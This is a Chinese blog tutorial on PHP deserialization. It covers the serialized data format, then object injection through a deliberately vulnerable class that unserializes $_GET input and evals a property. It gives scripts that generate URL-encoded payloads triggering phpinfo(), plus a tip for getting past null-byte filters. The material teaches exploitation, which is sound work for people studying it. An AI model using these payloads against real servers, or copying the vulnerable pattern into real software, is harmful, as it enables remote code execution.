php反序列化

概念

序列化

将变量转变为可以保存和传输的字符串类型的过程

相关的函数

1
serialize()

反序列化

就是将反序列化的字符串变成原来的变量

实现的函数是

1
unserialize()

反序列化类型

类型 结构
Object O:length:class name:attribute number:{arr1;value1;arr2;value2;}
Array a:number:{key1;value1;key2;value2;}
String s:length:value;
Integer i:value;
Boolean b:value; //(0=False,1=True)
Double d:value;
Null N;
pointer reference R:number
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class example
{
protected $string = "test_string";
private $interger = 10;
var $NULL = null;
public $double = 10.5;
public $boolean = true;
public $array = array(1, 2, 1.5, "test");
}
echo serialize(new example());
//O:7:"example":6:{s:9:"*string";s:11:"test_string";s:17:"exampleinterger";i:10;s:4:"NULL";N;s:6:"double";d:10.5;s:7:"boolean";b:1;s:5:"array";a:4:{i:0;i:1;i:1;i:2;i:2;d:1.5;i:3;s:4:"test";}}

但是可以发现一个地方并不是按照我们需求

在反序列化private $interger = 10 的过程中,将参数名改成了”exampleinterger”

反序列化规则

var和public:var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。
公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号
$。
protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可
见。保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的\0表示 ASCII 码为0的字
符,属于不可见字符,因此该字段的长度会比可见字符长度大3。
private:声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可
见。私有字段的字段名在序列化时,字段名前面会加上\0\0前缀。这里
表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为
声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。

反序列化漏洞

反序列化漏洞:也叫对象注入,就是当程序在进行反序列化时,会自动调用一些函数,但是如果传入函
数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

可以理解为程序在执行unserialize()函数是,自动执行了某些魔术方法(magic method),而魔术方法
的参数被用户所控制(通过控制属性来控制参数),这就会产生安全问题。

利用条件

  1. unserialize() 函数的参数是可以控制的
  2. 存在可以利用的魔术方法

属性赋值

通过利用条件可以发现,如果想利用反序列化漏洞的话,必须向unserialize() 函数传入伪造的反序列化数据(定义合适的属性值)

可以参考下面一段存在漏洞的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
show_source(__FILE__);
error_reporting(0);
class DEMO
{
public $func;
public $arg;
public function safe()
{
echo $this->arg;
}
public function evil()
{
eval($this->arg);
}
public function run()
{
$this->{$this->func}();
}
function __construct()
{
$this->func = 'evil';
}
}
$obj = unserialize($_GET['a']);
$obj->run();

直接写序列化数据显示是不合适的,因为序列化数据不符合人类直观,很容易出错。实际上,都是利用serialize()函数来生成序列化数据的。

  1. 把题目代码复制到本地;

  2. 注释掉与属性无关的内容(方法和没用的代码);

  3. 对属性赋值;

  4. 输出url编码后的序列化数据

    echo(urlencode(serialize(1 new DEMO1())));

  5. 将反序列化的发给服务器进行解析,造成反序列化漏洞

但是这个过程中需要对序列化字符串进行url 编码

因为是:反序列化的字符串具有不可见的字符如果不进行加密,数据可能被截断

现在应该想的是如何对属性赋值

  1. 直接在属性中赋值

    优点是方便

    缺点是只能对属性赋值字符串

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    class DEMO
    {
    public $func = 'evil';
    public $arg = 'phpinfo();';
    # public function safe(){
    # echo $this->arg;
    # }
    # public function evil(){
    # eval($this->arg);
    # }
    # public function run(){
    # $this->{$this->func}();
    # }
    # function __construct(){
    # $this->func = 'evil';
    # }
    }
    # $obj=unserialize($_GET['a']);
    # $obj->run();
    echo (urlencode(serialize(new DEMO())));

  2. 外部赋值

    优点是可以赋值任何值
    缺点是只能对public 属性进行赋值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    class DEMO
    {
    public $func;
    public $arg;
    }
    $o = new DEMO();
    $o->func = 'evil';
    $o->arg = 'phpinfo();';
    echo (urlencode(serialize($o)));

    小技巧:对于php7.1+的版本,反序列化对属性类型不敏感。尽管题目的类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。基于此,可以绕过诸如\0 字符的过滤。

  3. 构造方法赋值(万能方法)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    class DEMO
    {
    public $func;
    public $arg;
    function __construct()
    {
    $this->func = 'evil';
    $this->arg = 'phpinfo();';
    }
    }
    $o = new DEMO();
    echo (urlencode(serialize($o)));

  4. 魔术方法

    上面的例子是有一个$obj->run() 函数来执行注入的命令,这是为了演示漏洞利用,实际上但是大多数服务器代码是没有这个运行函数。这时,需要可以自动执行的魔术方法。
    魔术方法是一种特殊的方法,在某些情况下会自动调用。魔术方法的命名是以两个下划线开头的,常见的魔术方法有:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    __construct() //对象创建(new)时会自动调用。
    __wakeup() //使用unserialize时触发
    __sleep() //使用serialize时触发
    __destruct() //对象被销毁时触发
    __call() //在对象上下文中调用不可访问的方法时触发
    __callStatic() //在静态上下文中调用不可访问的方法时触发
    __get($key) //用于从不可访问的属性读取数据,$key就是不存在的属性
    __set() //用于将数据写入不可访问的属性
    __isset() //在不可访问的属性上调用isset()或empty()触发
    __unset() //在不可访问的属性上使用unset()时触发
    __toString() //把对象当作字符串使用时触发
    __invoke() //当脚本尝试将对象调用为函数时触发
    __autoload() //在代码中当调用不存在的类时会自动调用该方法

反序列化基础利用


php反序列化
https://tsy244.github.io/2023/11/27/web/php反序列化/
Author
August Rosenberg
Posted on
November 27, 2023
Licensed under